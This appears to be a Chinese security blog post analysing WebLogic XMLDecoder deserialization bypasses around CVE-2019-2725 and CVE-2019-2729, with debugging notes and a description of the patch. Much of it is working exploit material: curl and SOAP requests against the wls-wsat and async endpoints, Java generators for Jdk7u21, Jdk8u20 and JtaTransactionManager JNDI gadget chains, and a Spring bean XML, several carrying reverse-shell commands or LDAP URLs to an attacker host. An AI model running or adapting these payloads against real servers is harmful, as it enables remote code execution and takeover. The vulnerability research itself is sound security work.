前言 这个洞也是一个绕过,和前两个不一样的地方是,由于没办法直接初始化获取一个对象了,但是通过对10271补丁的分析,可以发现还有漏网之鱼。
影响版本
WebLogic 10.X
WebLogic 12.1.3
有些POC只能在某些版本能打,下面会说明
POC1 - 新增接口
同时要求未打之前的补丁
1 2 3 POST /_async/AsyncResponseService HTTP/1.1 之前的POST内容(同时要求未打之前的补丁)
漏洞分析1 最终Sink的断点不变,调试、对比调用栈如下:
前面一坨都一样,可以看到解析包的入口点变成了weblogic.wsee.handler.HandlerIterator#handleRequest
。跟进一下
this.handlers
中有20种类型的handler,其中包括WorkAreaServerHandler
,HandlerIterator#handleRequest
迭代所有的handler调用其handleRequest()方法,就会调用到WorkAreaServerHandler#handleRequest
。
继续跟进WorkAreaServerHandler#handleRequest
,可以看到熟悉的receiveRequest,传入的var4.getInputStream
是WorkAreaHeader,其属性content的值即为<java>...</java>
部分,随后继续调用到WorkContextEntryImpl#readEntry
就和前面一样了,最后XMLDecoder#readObject
触发漏洞
class标签创建对象 在SAX解析XML的官方文档中说到,<class>
标签同样能够创建一个类。那么又开辟了一条可以链接Gadgets的路:调用类的无参或有参构造方法。所以在下面的POC中就是利用了一些类的构造方法作为起点连接到其他的恶意操作的
因此我们通过<class>
标签创建类,其中包裹<void>
标签作为类构造方法的参数传入。因此整体布局可以是:
1 2 3 4 5 6 <class > <string > ClassName</string > <void > ... </void > </class >
但是这里有个坑点,由于<string>
标签解析字符串会包括空白字符(' ', '\t', '\n', '\r')
,同时<class>
标签的Handler继承了string标签的Handler且没有重写添加字符串的addCharacters方法,所以<class>
标签也受上述规则限制,addCharacters方法会将<class>
标签到下一个非<string>
的起始标签的全部内容都作为类名添加。 即<class>xxx<void>
中的部分,所以至少要保证class标签和最近一个void标签中没有空白字符,否则就会导致类名错误而找不到类。
这里的<string>
标签不是必须的。
所以应该上面的布局应该这么写:
1 2 3 4 <class > <string > ClassName</string > <void > ... </void > </class >
POC2.1 - Jdk7u21
利用二次反序列化 + 原生的jdk7u21的链子
1 curl -d '@poc2-1.xml' -H 'Content-Type: text/xml' -X POST http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
payload太长了,给出怎么生成poc2-1.xml(payload文件)的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package secondser;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import utils.Gadgets;import utils.Reflections;import utils.Util;import javax.xml.transform.Templates;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.LinkedHashSet;public class Jdk7u21 { public static void main (String[] args) throws Exception { String command = "/bin/bash -i >& /dev/tcp/VPS/8888 0>&1" ; final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo" ); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type" , TemplatesImpl.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses" , null ); Reflections.setFieldValue(templates, "_class" , null ); map.put(zeroHashCodeStr, templates); Util.writeFile("./poc2-1.xml" , Util.convert(set)); } }
POC2.2 - Jdk8u20
1 curl -d '@poc2-2.xml' -H 'Content-Type: text/xml' -X POST http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
payload太长了,给出怎么生成poc2-2.xml(payload文件)的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 package secondser;import utils.Gadgets;import utils.Reflections;import utils.Util;import javax.xml.transform.Templates;import java.beans.beancontext.BeanContextSupport;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.LinkedHashSet;public class Jdk8u20 { public static void main (String[] args) throws Exception { String command = "/bin/bash -i >& /dev/tcp/101.132.159.30/8888 0>&1" ; final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo" ); InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(handler, "type" , Templates.class); Templates proxy = Gadgets.createProxy(handler, Templates.class); map.put(zeroHashCodeStr, templates); LinkedHashSet set = new LinkedHashSet(); BeanContextSupport bcs = new BeanContextSupport(); Class cc = Class.forName("java.beans.beancontext.BeanContextSupport" ); Field serializable = cc.getDeclaredField("serializable" ); serializable.setAccessible(true ); serializable.set(bcs, 0 ); Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer" ); beanContextChildPeer.set(bcs, bcs); set.add(bcs); ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(set); oos.writeObject(handler); oos.writeObject(templates); oos.writeObject(proxy); oos.close(); byte [] bytes = baous.toByteArray(); System.out.println("[+] Modify HashSet size from 1 to 3" ); bytes[89 ] = 3 ; for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 0 && bytes[i+1 ] == 0 && bytes[i+2 ] == 0 & bytes[i+3 ] == 0 && bytes[i+4 ] == 120 && bytes[i+5 ] == 120 && bytes[i+6 ] == 115 ){ System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet" ); bytes = Util.deleteAt(bytes, i + 5 ); break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 120 && bytes[i+1 ] == 0 && bytes[i+2 ] == 1 && bytes[i+3 ] == 0 && bytes[i+4 ] == 0 && bytes[i+5 ] == 0 && bytes[i+6 ] == 0 && bytes[i+7 ] == 115 ){ System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1" ); bytes[i+6 ] = 1 ; break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 119 && bytes[i+1 ] == 4 && bytes[i+2 ] == 0 && bytes[i+3 ] == 0 && bytes[i+4 ] == 0 && bytes[i+5 ] == 0 && bytes[i+6 ] == 120 ){ System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport" ); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 0 && bytes[i+1 ] == 0 && bytes[i+2 ] == 0 && bytes[i+3 ] == 0 && bytes[i + 4 ] == 0 && bytes[i+5 ] == 0 && bytes[i+6 ] == 0 && bytes[i+7 ] == 0 && bytes[i+8 ] == 0 && bytes[i+9 ] == 0 && bytes[i+10 ] == 0 && bytes[i+11 ] == 120 && bytes[i+12 ] == 112 ){ System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler" ); i = i + 13 ; bytes = Util.addAtIndex(bytes, i++, (byte ) 0x77 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x04 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x78 ); break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 115 && bytes[i+1 ] == 117 && bytes[i+2 ] == 110 && bytes[i+3 ] == 46 && bytes[i + 4 ] == 114 && bytes[i+5 ] == 101 && bytes[i+6 ] == 102 && bytes[i+7 ] == 108 ){ System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " + "SC_SERIALIZABLE | SC_WRITE_METHOD" ); i = i + 58 ; bytes[i] = 3 ; break ; } } System.out.println("[+] Add TC_BLOCKDATA at end" ); bytes = Util.addAtLast(bytes, (byte ) 0x78 ); Util.writeFile("./poc2-2.xml" , Util.convert(bytes)); } }
POC2.3 - JNDI注入JtaTransactionManager
1 curl -d '@poc2-3.xml' -H 'Content-Type: text/xml' -X POST http:
payload太长了,给出怎么生成poc2-3.xml(payload文件)的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package secondser;import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;import utils.Util;import java.io.*;public class JndiJtaTransactionManager { public static void main (String[] args) throws IOException { String url = "ldap://101.132.159.30:1389/Evil" ; JtaTransactionManager obj = new JtaTransactionManager(); obj.setUserTransactionName(url); Util.writeFile("./poc2-3.xml" , Util.convert(obj)); } }
漏洞分析2 二次反序列化Sink 在原生的weblogic依赖中,找到POC2使用的类UnitOfWorkChangeSet
在构造方法中对字节码参数进行二次反序列化,所以payload格式为:
1 2 3 4 5 6 7 8 9 10 11 12 <class > <string > oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string > <void > <array class ="byte" length ="n" > <void index ="0" > <byte > -84</byte > </void > <void index ="1" > <byte > - 19</byte > </void > ... </array > </void > </class >
Gadgets 找到了可以直接使用字节码来反序列化的Sink点,接下来只需要找到合适的Gadgets触发反序列化即可。这里前辈们提供的有:
Jdk7u21:有jdk限制 <= 7u21
Jdk8u20:有jdk限制 <= 8u20
利用JtaTransactionManager链进行JNDI注入
POC2.1 分析 poc2.1和2.2都是原生的反序列化链子。生成其序列化字节码后再生成相应的xml payload即可,完整的payload见项目链接。
POC2.3 分析
参考:http://xxlegend.com/2018/10/23/Weblogic%20CVE-2018-3191%E5%88%86%E6%9E%90/
其实这条链子是用在WebLogic T3协议反序列化CVE-2018-3191中的,在CVE-2018-3191之前的补丁中有黑名单org.springframework.transaction.support.AbstractPlatformTransactionManager,目的就是为了阻断Spring依赖下的Jndi注入。但是官方遗漏了weblogic中原生的依赖包com.bea.core.repackaged,该包下有spring框架的依赖,因此也就造成了JtaTransactionManager的jndi注入以及后面AbstractXmlApplicationContext的远程加载恶意bean xml解析。
JtaTransactionManager类继承了AbstractPlatformTransactionManager,实现了Serializable接口,因此满足二次反序列化的要求。同时该类以readObject为起点开始,存在Jndi注入。链子如下:
1 2 3 4 5 6 7 JtaTransactionManager#readObject JtaTransactionManager#initUserTransactionAndTransactionManager JtaTransactionManager#lookupUserTransaction JndiTemplate#lookup(String name, Class requiredType) JndiTemplate#lookup(final String name) JndiTemplate#execute InitialContext#lookup
总的来说,是从JtaTransactionManager#readObject -> JndiTemplate#lookup -> InitialContext#lookup
。这里截几张图看一下,具体就不多分析了
POC3 - 远程获取恶意xml解析(非spel触发)
参考:http://www.lmxspace.com/2019/05/15/Weblogic-CVE-2019-2725-%E9%80%9A%E6%9D%80payload/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa ="http://www.w3.org/2005/08/addressing" xmlns:asy ="http://www.bea.com/async/AsyncResponseService" > <soapenv:Header > <wsa:Action > xx</wsa:Action > <wsa:RelatesTo > xx</wsa:RelatesTo > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java > <class > <string > com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string > <void > <string > http://127.0.0.1:7777/spel.xml</string > </void > </class > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body > <asy:onAsyncDelivery /> </soapenv:Body > </soapenv:Envelope >
spel.xml:注意这里的写法和Jackson的不一样。少了使用SpEL表达式的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg type ="java.util.List" > <list > <value > /bin/bash</value > <value > -c</value > <value > <![CDATA[/bin/bash -i >& /dev/tcp/VPS/8888 0>&1]]></value > </list > </constructor-arg > </bean > </beans >
漏洞分析3 具体的过程和JackSon反序列化CVE-2017-17485加载远程spel的调试过程基本一样。由于Weblogic内置的支持spring框架的包和CVE-2017-17485依赖的Spring包的版本不同,在调试过程中会有一些差异,并且还有一下关键差异:
Sink类包不同。Jackson的是org.springframework.context.support.FileSystemXmlApplicationContext。而Weblogic这里使用的是com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
对Spel表达式解析的支持不同。由于Jackson是作为Spring boot的默认依赖出现,所以反过来CVE-2017-17485肯定支持SpEL表达式的解析。而Weblogic中内置的Spring版本可能过低,不支持SpEL表达式解析。所以在spel.xml的触发写法上也有不同
关于流程调试这里就不赘述了,具体可以参考我之前写的 。这里重点分析几个问题
为什么无法解析SpEL 根据CVE-2017-17485的分析,其中会有SpEL表达式的解析从而触发RCE。
概括一下就是从远程获取spel.xml,然后进行解析,先恢复bean对象,然后再解析其构造方法的参数,然后调用构造方法,最后调用#{pb.start()}
触发RCE,所有解析bean xml标签中value属性或value标签的过程都会调用spel表达式来解析 ,所以这一部分也可以理解为spel表达式注入漏洞。
但是这里不行。具体跟进到解析value值的方法BeanDefinitionValueResolver#resolveValueIfNecessary
,由于我们的Value是字符串,属于TypedStringValue,所以会进入TypedStringValue的解析分支,然后调用this.resolveTargetType()
来获取value。可以对比一下Jackson的和WebLogic的
因此,WebLogic的Spring不支持SpEL表达式的解释,所以spel.xml就不能原封不动的使用CVE-2017-17485的
Spring容器在bean初始化和销毁时执行操作 一共有三种方法,基于xml配置bean的方式只有一种
通过在xml中定义init-method
和 destory-method
方法
通过@PostConstruct
和 @PreDestroy
方法实现初始化和销毁bean之前进行的操作
通过bean实现InitializingBean
和 DisposableBean
接口
重点看一下基于xml实现的:
1 2 3 4 5 6 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="Demo1" class ="demo.Demo1" init-method ="initDemo" destroy-method ="destroyDemo" > </bean > </beans >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package demo;public class Demo1 { public Demo1 () { System.out.println("调用了构造方法" ); } public void initDemo () { System.out.println("调用了testDemo方法来初始化" ); } public void destroyDemo () { System.out.println("调用了destroyDemo方法来销毁" ); } }
1 2 3 4 5 6 7 8 9 10 package demo;import com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext;public class TestDemo1 { public static void main (String[] args) { ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("http://101.132.159.30:7777/test.xml" ); context.registerShutdownHook(); } }
从结果可以得知,如上的xml配置会先调用Bean类的默认无参构造方法,再调用额外在init-method
中设置的Bean的方法,而在容器结束时才会调用destroy-method
设置的Bean的方法。所以我们可以利用init-method
来实现调用恶意类的任意方法,正好可以调用
1 java.lang.ProcessBuilder(java.util.list).start()
CVE-2019-2729 这个洞是在2725上的绕过。具体来说就是,在jdk1.6下,XMLDecoder支持使用<array method="forName">
标签来调用任意方法,从而替代<class>
标签实例化类的功能导致绕过。但是比较鸡肋,需要jdk1.6。
至于array标签为什么有method这个属性,根据前面class标签的handler继承string的handler可以猜测,array的handler应该是继承了void的handler。
漏洞修复
首先修复的思路肯定不是禁用以上出现漏洞的接口,这显然是不合理的,结合之前的修复方式,还是针对xml的语法进行了限制,具体来说就是对创建对象这一操作进行了限制,即多禁用了<class>
标签,至此目前已知可创建对象的标签全都被ban了。分别是<object> <new> <method> <class>
使用白名单,定义在WorkContextFormatInfo
类中,且使用validateFormat()
方法校验
参考 http://www.lmxspace.com/2019/05/15/Weblogic-CVE-2019-2725-%E9%80%9A%E6%9D%80payload/
http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/
http://xxlegend.com/2018/10/23/Weblogic%20CVE-2018-3191%E5%88%86%E6%9E%90/
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483722&idx=1&sn=46ae6dc8d24efd3abc5d43e7caec412a&chksm=fb4a21a2cc3da8b43a52bd08c8170723fb38ddab27c836dad67c053551dde68151839e330ce2&mpshare=1&scene=1&srcid=0430zsBdpZPJ1Qp7Cy46H8S4